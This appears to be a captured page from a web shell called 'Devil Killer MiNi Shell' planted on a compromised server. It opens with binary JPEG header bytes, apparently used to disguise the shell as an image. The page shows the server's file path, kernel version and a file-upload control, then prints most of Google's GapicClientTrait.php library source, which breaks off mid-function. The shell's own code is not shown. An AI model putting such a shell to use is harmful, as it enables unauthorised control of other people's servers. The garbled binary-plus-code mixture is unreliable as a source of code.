JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/vendor/google/gax/src/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/vendor/google/gax/src/GapicClientTrait.php

<?php
/*
 * Copyright 2018 Google LLC
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are
 * met:
 *
 *     * Redistributions of source code must retain the above copyright
 * notice, this list of conditions and the following disclaimer.
 *     * Redistributions in binary form must reproduce the above
 * copyright notice, this list of conditions and the following disclaimer
 * in the documentation and/or other materials provided with the
 * distribution.
 *     * Neither the name of Google Inc. nor the names of its
 * contributors may be used to endorse or promote products derived from
 * this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
 * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
 * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
 * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
 * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

namespace Google\ApiCore;

use Google\ApiCore\LongRunning\OperationsClient;
use Google\ApiCore\Middleware\CredentialsWrapperMiddleware;
use Google\ApiCore\Middleware\FixedHeaderMiddleware;
use Google\ApiCore\Middleware\OperationsMiddleware;
use Google\ApiCore\Middleware\OptionsFilterMiddleware;
use Google\ApiCore\Middleware\PagedMiddleware;
use Google\ApiCore\Middleware\RetryMiddleware;
use Google\ApiCore\Transport\GrpcFallbackTransport;
use Google\ApiCore\Transport\GrpcTransport;
use Google\ApiCore\Transport\RestTransport;
use Google\ApiCore\Transport\TransportInterface;
use Google\Auth\CredentialsLoader;
use Google\Auth\FetchAuthTokenInterface;
use Google\LongRunning\Operation;
use Google\Protobuf\Internal\Message;
use Grpc\Gcp\ApiConfig;
use Grpc\Gcp\Config;
use GuzzleHttp\Promise\PromiseInterface;

/**
 * Common functions used to work with various clients.
 *
 * @internal
 */
trait GapicClientTrait
{
    use ArrayTrait;
    use ValidationTrait {
        ValidationTrait::validate as traitValidate;
    }
    use GrpcSupportTrait;

    /** @var TransportInterface */
    private $transport;
    private $credentialsWrapper;

    private static $gapicVersionFromFile;
    /** @var RetrySettings[] $retrySettings */
    private $retrySettings;
    private $serviceName;
    private $agentHeader;
    private $descriptors;
    private $transportCallMethods = [
        Call::UNARY_CALL => 'startUnaryCall',
        Call::BIDI_STREAMING_CALL => 'startBidiStreamingCall',
        Call::CLIENT_STREAMING_CALL => 'startClientStreamingCall',
        Call::SERVER_STREAMING_CALL => 'startServerStreamingCall',
    ];
    private bool $isNewClient;

    /**
     * Initiates an orderly shutdown in which preexisting calls continue but new
     * calls are immediately cancelled.
     *
     * @experimental
     */
    public function close()
    {
        $this->transport->close();
    }

    /**
     * Get the transport for the client. This method is protected to support
     * use by customized clients.
     *
     * @access private
     * @return TransportInterface
     */
    protected function getTransport()
    {
        return $this->transport;
    }

    /**
     * Get the credentials for the client. This method is protected to support
     * use by customized clients.
     *
     * @access private
     * @return CredentialsWrapper
     */
    protected function getCredentialsWrapper()
    {
        return $this->credentialsWrapper;
    }

    private static function getGapicVersion(array $options)
    {
        if (isset($options['libVersion'])) {
            return $options['libVersion'];
        } else {
            if (!isset(self::$gapicVersionFromFile)) {
                self::$gapicVersionFromFile = AgentHeader::readGapicVersionFromFile(__CLASS__);
            }
            return self::$gapicVersionFromFile;
        }
    }

    private static function initGrpcGcpConfig(string $hostName, string $confPath)
    {
        $apiConfig = new ApiConfig();
        $apiConfig->mergeFromJsonString(file_get_contents($confPath));
        $config = new Config($hostName, $apiConfig);
        return $config;
    }

    /**
     * Get default options. This function should be "overridden" by clients using late static
     * binding to provide default options to the client.
     *
     * @return array
     * @access private
     */
    private static function getClientDefaults()
    {
        return [];
    }

    private function buildClientOptions(array $options)
    {
        // Build $defaultOptions starting from top level
        // variables, then going into deeper nesting, so that
        // we will not encounter missing keys
        $defaultOptions = self::getClientDefaults();
        $defaultOptions += [
            'disableRetries' => false,
            'credentials' => null,
            'credentialsConfig' => [],
            'transport' => null,
            'transportConfig' => [],
            'gapicVersion' => self::getGapicVersion($options),
            'libName' => null,
            'libVersion' => null,
            'apiEndpoint' => null,
            'clientCertSource' => null,
        ];

        $supportedTransports = $this->supportedTransports();
        foreach ($supportedTransports as $transportName) {
            if (!array_key_exists($transportName, $defaultOptions['transportConfig'])) {
                $defaultOptions['transportConfig'][$transportName] = [];
            }
        }
        if (in_array('grpc', $supportedTransports)) {
            $defaultOptions['transportConfig']['grpc'] = [
                'stubOpts' => ['grpc.service_config_disable_resolution' => 1]
            ];
        }

        // Merge defaults into $options starting from top level
        // variables, then going into deeper nesting, so that
        // we will not encounter missing keys
        $options += $defaultOptions;
        $options['credentialsConfig'] += $defaultOptions['credentialsConfig'];
        $options['transportConfig'] += $defaultOptions['transportConfig'];  // @phpstan-ignore-line
        if (isset($options['transportConfig']['grpc'])) {
            $options['transportConfig']['grpc'] += $defaultOptions['transportConfig']['grpc'];
            $options['transportConfig']['grpc']['stubOpts'] += $defaultOptions['transportConfig']['grpc']['stubOpts'];
        }
        if (isset($options['transportConfig']['rest'])) {
            $options['transportConfig']['rest'] += $defaultOptions['transportConfig']['rest'];
        }

        $this->modifyClientOptions($options);

        // serviceAddress is now deprecated and acts as an alias for apiEndpoint
        if (isset($options['serviceAddress'])) {
            $options['apiEndpoint'] = $this->pluck('serviceAddress', $options, false);
        }

        // If an API endpoint is set, ensure the "audience" does not conflict
        // with the custom endpoint by setting "user defined" scopes.
        if ($options['apiEndpoint'] != $defaultOptions['apiEndpoint']
            && empty($options['credentialsConfig']['scopes'])
            && !empty($options['credentialsConfig']['defaultScopes'])
        ) {
            $options['credentialsConfig']['scopes'] = $options['credentialsConfig']['defaultScopes'];
        }

        if (extension_loaded('sysvshm')
                && isset($options['gcpApiConfigPath'])
                && file_exists($options['gcpApiConfigPath'])
                && isset($options['apiEndpoint'])) {
            $grpcGcpConfig = self::initGrpcGcpConfig(
                $options['apiEndpoint'],
                $options['gcpApiConfigPath']
            );

            if (array_key_exists('stubOpts', $options['transportConfig']['grpc'])) {
                $options['transportConfig']['grpc']['stubOpts'] += [
                    'grpc_call_invoker' => $grpcGcpConfig->callInvoker()
                ];
            } else {
                $options['transportConfig']['grpc'] += [
                    'stubOpts' => [
                        'grpc_call_invoker' => $grpcGcpConfig->callInvoker()
                    ]
                ];
            }
        }

        // mTLS: detect and load the default clientCertSource if the environment variable
        // "GOOGLE_API_USE_CLIENT_CERTIFICATE" is true, and the cert source is available
        if (empty($options['clientCertSource']) && CredentialsLoader::shouldLoadClientCertSource()) {
            if ($defaultCertSource = CredentialsLoader::getDefaultClientCertSource()) {
                $options['clientCertSource'] = function () use ($defaultCertSource) {
                    $cert = call_user_func($defaultCertSource);

                    // the key and the cert are returned in one string
                    return [$cert, $cert];
                };
            }
        }

        // mTLS: If no apiEndpoint has been supplied by the user, and either
        // GOOGLE_API_USE_MTLS_ENDPOINT tells us to, or mTLS is available, use the mTLS endpoint.
        if ($options['apiEndpoint'] === $defaultOptions['apiEndpoint']
            && $this->shouldUseMtlsEndpoint($options)
        ) {
            $options['apiEndpoint'] = self::determineMtlsEndpoint($options['apiEndpoint']);
        }

        return $options;
    }

    private function shouldUseMtlsEndpoint(array $options)
    {
        $mtlsEndpointEnvVar = getenv('GOOGLE_API_USE_MTLS_ENDPOINT');
        if ('always' === $mtlsEndpointEnvVar) {
            return true;
        }
        if ('never' === $mtlsEndpointEnvVar) {
            return false;
        }
        // For all other cases, assume "auto" and return true if clientCertSource exists
        return !empty($options['clientCertSource']);
    }

    private static function determineMtlsEndpoint(string $apiEndpoint)
    {
        $parts = explode('.', $apiEndpoint);
        if (count($parts) < 3) {
            return $apiEndpoint; // invalid endpoint!
        }
        return sprintf('%s.mtls.%s', array_shift($parts), implode('.', $parts));
    }

    /**
     * Configures the GAPIC client based on an array of options.
     *
     * @param array $options {
     *     An array of required and optional arguments.
     *
     *     @type string $apiEndpoint
     *           The address of the API remote host, for example "example.googleapis.com. May also
     *           include the port, for example "example.googleapis.com:443"
     *     @type bool $disableRetries
     *           Determines whether or not retries defined by the client configuration should be
     *           disabled. Defaults to `false`.
     *     @type string|array $clientConfig
     *           Client method configuration, including retry settings. This option can be either a
     *           path to a JSON file, or a PHP array containing the decoded JSON data.
     *           By default this settings points to the default client config file, which is provided
     *           in the resources folder.
     *     @type string|array|FetchAuthTokenInterface|CredentialsWrapper $credentials
     *           The credentials to be used by the client to authorize API calls. This option
     *           accepts either a path to a credentials file, or a decoded credentials file as a
     *           PHP array.
     *           *Advanced usage*: In addition, this option can also accept a pre-constructed
     *           \Google\Auth\FetchAuthTokenInterface object or \Google\ApiCore\CredentialsWrapper
     *           object. Note that when one of these objects are provided, any settings in
     *           $authConfig will be ignored.
     *     @type array $credentialsConfig
     *           Options used to configure credentials, including auth token caching, for the client.
     *           For a full list of supporting configuration options, see
     *           \Google\ApiCore\CredentialsWrapper::build.
     *     @type string|TransportInterface $transport
     *           The transport used for executing network requests. May be either the string `rest`,
     *           `grpc`, or 'grpc-fallback'. Defaults to `grpc` if gRPC support is detected on the system.
     *           *Advanced usage*: Additionally, it is possible to pass in an already instantiated
     *           TransportInterface object. Note that when this objects is provided, any settings in
     *           $transportConfig, and any `$apiEndpoint` setting, will be ignored.
     *     @type array $transportConfig
     *           Configuration options that will be used to construct the transport. Options for
     *           each supported transport type should be passed in a key for that transport. For
     *           example:
     *           $transportConfig = [
     *               'grpc' => [...],
     *               'rest' => [...],
     *               'grpc-fallback' => [...],
     *           ];
     *           See the GrpcTransport::build and RestTransport::build
     *           methods for the supported options.
     *     @type string $versionFile
     *           The path to a file which contains the current version of the client.
     *     @type string $descriptorsConfigPath
     *           The path to a descriptor configuration file.
     *     @type string $serviceName
     *           The name of the service.
     *     @type string $libName
     *           The name of the client application.
     *     @type string $libVersion
     *           The version of the client application.
     *     @type string $gapicVersion
     *           The code generator version of the GAPIC library.
     *     @type callable $clientCertSource
     *           A callable which returns the client cert as a string.
     * }
     * @throws ValidationException
     */
    private function setClientOptions(array $options)
    {
        // serviceAddress is now deprecated and acts as an alias for apiEndpoint
        if (isset($options['serviceAddress'])) {
            $options['apiEndpoint'] = $this->pluck('serviceAddress', $options, false);
        }
        $this->validateNotNull($options, [
            'apiEndpoint',
            'serviceName',
            'descriptorsConfigPath',
            'clientConfig',
            'disableRetries',
            'credentialsConfig',
            'transportConfig',
        ]);
        $this->traitValidate($options, [
            'credentials',
            'transport',
            'gapicVersion',
            'libName',
            'libVersion',
        ]);

        $clientConfig = $options['clientConfig'];
        if (is_string($clientConfig)) {
            $clientConfig = json_decode(file_get_contents($clientConfig), true);
        }
        $this->serviceName = $options['serviceName'];
        $this->retrySettings = RetrySettings::load(
            $this->serviceName,
            $clientConfig,
            $options['disableRetries']
        );

        // Edge case: If the client has the gRPC extension installed, but is
        // a REST-only library, then the grpcVersion header should not be set.
        if ($this->transport instanceof GrpcTransport) {
            $options['grpcVersion'] = phpversion('grpc');
            unset($options['restVersion']);
        } elseif ($this->transport instanceof RestTransport
            || $this->transport instanceof GrpcFallbackTransport) {
            unset($options['grpcVersion']);
            $options['restVersion'] = Version::getApiCoreVersion();
        }

        // Set "client_library_name" depending on client library surface being used
        $userAgentHeader = sprintf(
            'gcloud-php-%s/%s',
            $this->isNewClientSurface() ? 'new' : 'legacy',
            $options['gapicVersion']
        );
        $this->agentHeader = AgentHeader::buildAgentHeader(
            $this->pluckArray([
                'libName',
                'libVersion',
                'gapicVersion'
            ], $options)
        );
        $this->agentHeader['User-Agent'] = [$userAgentHeader];

        self::validateFileExists($options['descriptorsConfigPath']);
        $descriptors = require($options['descriptorsConfigPath']);
        $this->descriptors = $descriptors['interfaces'][$this->serviceName];

        $this->credentialsWrapper = $this->createCredentialsWrapper(
            $options['credentials'],
            $options['credentialsConfig']
        );

        $transport = $options['transport'] ?: self::defaultTransport();
        $this->transport = $transport instanceof TransportInterface
            ? $transport
            : $this->createTransport(
                $options['apiEndpoint'],
                $transport,
                $options['transportConfig'],
                $options['clientCertSource']
            );
    }

    /**
     * @param mixed $credentials
     * @param array $credentialsConfig
     * @return CredentialsWrapper
     * @throws ValidationException
     */
    private function createCredentialsWrapper($credentials, array $credentialsConfig)
    {
        if (is_null($credentials)) {
            return CredentialsWrapper::build($credentialsConfig);
        } elseif (is_string($credentials) || is_array($credentials)) {
            return CredentialsWrapper::build(['keyFile' => $credentials] + $credentialsConfig);
        } elseif ($credentials instanceof FetchAuthTokenInterface) {
            $authHttpHandler = $credentialsConfig['authHttpHandler'] ?? null;
            return new CredentialsWrapper($credentials, $authHttpHandler);
        } elseif ($credentials instanceof CredentialsWrapper) {
            return $credentials;
        } else {
            throw new ValidationException(
                'Unexpected value in $auth option, got: ' .
                print_r($credentials, true)
            );
        }
    }

    /**
     * @param string $apiEndpoint
     * @param string $transport
     * @param array $transportConfig
     * @param callable $clientCertSource
     * @return TransportInterface
     * @throws ValidationException
     */
    private function createTransport(
        string $apiEndpoint,
        $transport,
        array $transportConfig,
        callable $clientCertSource = null
    ) {
        if (!is_string($transport)) {
            throw new ValidationException(
                "'transport' must be a string, instead got:" .
                print_r($transport, true)
            );
        }
        $supportedTransports = self::supportedTransports();
        if (!in_array($transport, $supportedTransports)) {
            throw new ValidationException(sprintf(
                'Unexpected transport option "%s". Supported transports: %s',
                $transport,
                implode(', ', $supportedTransports)
            ));
        }
        $configForSpecifiedTransport = $transportConfig[$transport] ?? [];
        $configForSpecifiedTransport['clientCertSource'] = $clientCertSource;
        switch ($transport) {
            case 'grpc':
                // Setting the user agent for gRPC requires special handling
                if (isset($this->agentHeader['User-Agent'])) {
                    if ($configForSpecifiedTransport['stubOpts']['grpc.primary_user_agent'] ??= '') {
                        $configForSpecifiedTransport['stubOpts']['grpc.primary_user_agent'] .= ' ';
                    }
                    $configForSpecifiedTransport['stubOpts']['grpc.primary_user_agent'] .=
                        $this->agentHeader['User-Agent'][0];
                }
                return GrpcTransport::build($apiEndpoint, $configForSpecifiedTransport);
            case 'grpc-fallback':
                return GrpcFallbackTransport::build($apiEndpoint, $configForSpecifiedTransport);
            case 'rest':
                if (!isset($configForSpecifiedTransport['restClientConfigPath'])) {
                    throw new ValidationException(
                        "The 'restClientConfigPath' config is required for 'rest' transport."
                    );
                }
                $restConfigPath = $configForSpecifiedTransport['restClientConfigPath'];
                return RestTransport::build($apiEndpoint, $restConfigPath, $configForSpecifiedTransport);
            default:
                throw new ValidationException(
                    "Unexpected 'transport' option: $transport. " .
                    "Supported values: ['grpc', 'rest', 'grpc-fallback']"
                );
        }
    }

    /**
     * @param array $options
     * @return OperationsClient
     */
    private function createOperationsClient(array $options)
    {
        $this->pluckArray([
            'serviceName',
            'clientConfig',
            'descriptorsConfigPath',
        ], $options);

        // User-supplied operations client
        if ($operationsClient = $this->pluck('operationsClient', $options, false)) {
            return $operationsClient;
        }

        // operationsClientClass option
        $operationsClientClass = $this->pluck('operationsClientClass', $options, false)
            ?: OperationsCLient::class;
        return new $operationsClientClass($options);
    }

    /**
     * @return string
     */
    private static function defaultTransport()
    {
        return self::getGrpcDependencyStatus()
            ? 'grpc'
            : 'rest';
    }

    private function validateCallConfig(string $methodName)
    {
        // Ensure a method descriptor exists for the target method.
        if (!isset($this->descriptors[$methodName])) {
            throw new ValidationException("Requested method '$methodName' does not exist in descriptor configuration.");
        }
        $methodDescriptors = $this->descriptors[$methodName];

        // Ensure required descriptor configuration exists.
        if (!isset($methodDescriptors['callType'])) {
            throw new ValidationException("Requested method '$methodName' does not have a callType " .
                "in descriptor configuration.");
        }
        $callType = $methodDescriptors['callType'];

        // Validate various callType specific configurations.
        if ($callType == Call::LONGRUNNING_CALL) {
            if (!isset($methodDescriptors['longRunning'])) {
                throw new ValidationException("Requested method '$methodName' does not have a longRunning config " .
                    "in descriptor configuration.");
            }
            // @TODO: check if the client implements `OperationsClientInterface` instead
            if (!method_exists($this, 'getOperationsClient')) {
                throw new ValidationException("Client missing required getOperationsClient " .
                    "for longrunning call '$methodName'");
            }
        } elseif ($callType == Call::PAGINATED_CALL) {
            if (!isset($methodDescriptors['pageStreaming'])) {
                throw new ValidationException("Requested method '$methodName' with callType PAGINATED_CALL does not " .
                    "have a pageStreaming in descriptor configuration.");
            }
        }

        // LRO are either Standard LRO response type or custom, which are handled by
        // startOperationCall, so no need to validate responseType for those callType.
        if ($callType != Call::LONGRUNNING_CALL) {
            if (!isset($methodDescriptors['responseType'])) {
                throw new ValidationException("Requested method '$methodName' does not have a responseType " .
                    "in descriptor configuration.");
            }
        }

        return $methodDescriptors;
    }

    /**
     * @param string $methodName
     * @param Message $request
     * @param array $optionalArgs {
     *     Call Options
     *
     *     @type array $headers                     [optional] key-value array containing headers
     *     @type int $timeoutMillis                 [optional] the timeout in milliseconds for the call
     *     @type array $transportOptions            [optional] transport-specific call options
     *     @type RetrySettings|array $retrySettings [optional] A retry settings override for the call.
     * }
     *
     * @experimental
     *
     * @return PromiseInterface
     */
    private function startAsyncCall(
        string $methodName,
        Message $request,
        array $optionalArgs = []
    ) {
        // Convert method name to the UpperCamelCase of RPC names from lowerCamelCase of GAPIC method names
        // in order to find the method in the descriptor config.
        $methodName = ucfirst($methodName);
        $methodDescriptors = $this->validateCallConfig($methodName);

        $callType = $methodDescriptors['callType'];

        switch ($callType) {
            case Call::PAGINATED_CALL:
                return $this->getPagedListResponseAsync(
                    $methodName,
                    $optionalArgs,
                    $methodDescriptors['responseType'],
                    $request,
                    $methodDescriptors['interfaceOverride'] ?? $this->serviceName
                );
            case Call::SERVER_STREAMING_CALL:
            case Call::CLIENT_STREAMING_CALL:
            case Call::BIDI_STREAMING_CALL:
                throw new ValidationException("Call type '$callType' of requested method " .
                    "'$methodName' is not supported for async execution.");
        }

        return $this->startApiCall($methodName, $request, $optionalArgs);
    }

    /**
     * @param string $methodName
     * @param Message $request
     * @param array $optionalArgs {
     *     Call Options
     *
     *     @type array $headers [optional] key-value array containing headers
     *     @type int $timeoutMillis [optional] the timeout in milliseconds for the call
     *     @type array $transportOptions [optional] transport-specific call options
     *     @type RetrySettings|array $retrySettings [optional] A retry settings
     *           override for the call.
     * }
     *
     * @experimental
     *
     * @return PromiseInterface|PagedListResponse|BidiStream|ClientStream|ServerStream
     */
    private function startApiCall(
        string $methodName,
        Message $request = null,
        array $optionalArgs = []
    ) {
        $methodDescriptors =$this->validateCallConfig($methodName);
        $callType = $methodDescriptors['callType'];

        // Prepare request-based headers, merge with user-provided headers,
        // which take precedence.
        $headerParams = $methodDescriptors['headerParams'] ?? [];
        $requestHeaders = $this->buildRequestParamsHeader($headerParams, $request);
        $optionalArgs['headers'] = array_merge($requestHeaders, $optionalArgs['headers'] ?? []);

        // Default the interface name, if not set, to the client's protobuf service name.
        $interfaceName = $methodDescriptors['interfaceOverride'] ?? $this->serviceName;

        // Handle call based on call type configured in the method descriptor config.
        if ($callType == Call::LONGRUNNING_CALL) {
            return $this->startOperationsCall(
                $methodName,
                $optionalArgs,
                $request,
                $this->getOperationsClient(),
                $interfaceName,
                // Custom operations will define their own operation response type, whereas standard
                // LRO defaults to the same type.
                $methodDescriptors['responseType'] ?? null
            );
        }

        // Fully-qualified name of the response message PHP class.
        $decodeType = $methodDescriptors['responseType'];

        if ($callType == Call::PAGINATED_CALL) {
            return $this->getPagedListResponse($methodName, $optionalArgs, $decodeType, $request, $interfaceName);
        }

        // Unary, and all Streaming types handled by startCall.
        return $this->startCall($methodName, $decodeType, $optionalArgs, $request, $callType, $interfaceName);
    }

    /**
     * @param string $methodName
     * @param string $decodeType
     * @param array $optionalArgs {
     *     Call Options
     *
     *     @type array $headers [optional] key-value array containing headers
     *     @type int $timeoutMillis [optional] the timeout in milliseconds for the call
     *     @type array $transportOptions [optional] transport-specific call options
     *     @type RetrySettings|array $retrySettings [optional] A retry settings
     *           override for the call.
     * }
     * @param Message $request
     * @param int $callType
     * @param string $interfaceName
     *
     * @return PromiseInterface|BidiStream|ClientStream|ServerStream
     */
    private function startCall(
        string $methodName,
        string $decodeType,
        array $optionalArgs = [],
        Message $request = null,
        int $callType = Call::UNARY_CALL,
        string $interfaceName = null
    ) {
        $callStack = $this->createCallStack(
            $this->configureCallConstructionOptions($methodName, $optionalArgs)
        );

        $descriptor = $this->descriptors[$methodName]['grpcStreaming'] ?? null;

        $call = new Call(
            $this->buildMethod($interfaceName, $methodName),
            $decodeType,
            $request,
            $descriptor,
            $callType
        );
        switch ($callType) {
            case Call::UNARY_CALL:
                $this->modifyUnaryCallable($callStack);
                break;
            case Call::BIDI_STREAMING_CALL:
            case Call::CLIENT_STREAMING_CALL:
            case Call::SERVER_STREAMING_CALL:
                $this->modifyStreamingCallable($callStack);
                break;
        }

        return $callStack($call, $optionalArgs + array_filter([
            'audience' => self::getDefaultAudience()
        ]));
    }

    /**
     * @param array $callConstructionOptions {
     *     Call Construction Options
     *
     *     @type RetrySettings $retrySettings [optional] A retry settings override
     *           For the call.
     * }
     *
     * @return callable
     */
    private function createCallStack(array $callConstructionOptions)
    {
        $quotaProject = $this->credentialsWrapper->getQuotaProject();
        $fixedHeaders = $this->agentHeader;
        if ($quotaProject) {
            $fixedHeaders += [
                'X-Goog-User-Project' => [$quotaProject]
            ];
        }
        $callStack = function (Call $call, array $options) {
            $startCallMethod = $this->transportCallMethods[$call->getCallType()];
            return $this->transport->$startCallMethod($call, $options);
        };
        $callStack = new CredentialsWrapperMiddleware($callStack, $this->credentialsWrapper);
        $callStack = new FixedHeaderMiddleware($callStack, $fixedHeaders, true);
        $callStack = new RetryMiddleware($callStack, $callConstructionOptions['retrySettings']);
        $callStack = new OptionsFilterMiddleware($callStack, [
            'headers',
            'timeoutMillis',
            'transportOptions',
            'metadataCallback',
            'audience',
            'metadataReturnType'
        ]);

        return $callStack;
    }

    /**
     * @param string $methodName
     * @param array $optionalArgs {
     *     Optional arguments
     *
     *     @type RetrySettings|array $retrySettings [optional] A retry settings
     *           override for the call.
     * }
     *
     * @return array
     */
    private function configureCallConstructionOptions(string $methodName, array $optionalArgs)
    {
        $retrySettings = $this->retrySettings[$methodName];
        // Allow for retry settings to be changed at call time
        if (isset($optionalArgs['retrySettings'])) {
            if ($optionalArgs['retrySettings'] instanceof RetrySettings) {
                $retrySettings = $optionalArgs['retrySettings'];
            } else {
                $retrySettings = $retrySettings->with(
                    $optionalArgs['retrySettings']
                );
            }
        }
        return [
            'retrySettings' => $retrySettings,
        ];
    }

    /**
     * @param string $methodName
     * @param array $optionalArgs {
     *     Call Options
     *
     *     @type array $headers [optional] key-value array containing headers
     *     @type int $timeoutMillis [optional] the timeout in milliseconds for the call
     *     @type array $transportOptions [optional] transport-specific call options
     * }
     * @param Message $request
     * @param OperationsClient|object $client
     * @param string $interfaceName
     * @param string $operationClass If provided, will be used instead of the default
     *                               operation response class of {@see \Google\LongRunning\Operation}.
     *
     * @return PromiseInterface
     */
    private function startOperationsCall(
        string $methodName,
        array $optionalArgs,
        Message $request,
        $client,
        string $interfaceName = null,
        string $operationClass = null
    ) {
        $callStack = $this->createCallStack(
            $this->configureCallConstructionOptions($methodName, $optionalArgs)
        );
        $descriptor = $this->descriptors[$methodName]['longRunning'];
        $metadataReturnType = null;

        // Call the methods supplied in "additionalArgumentMethods" on the request Message object
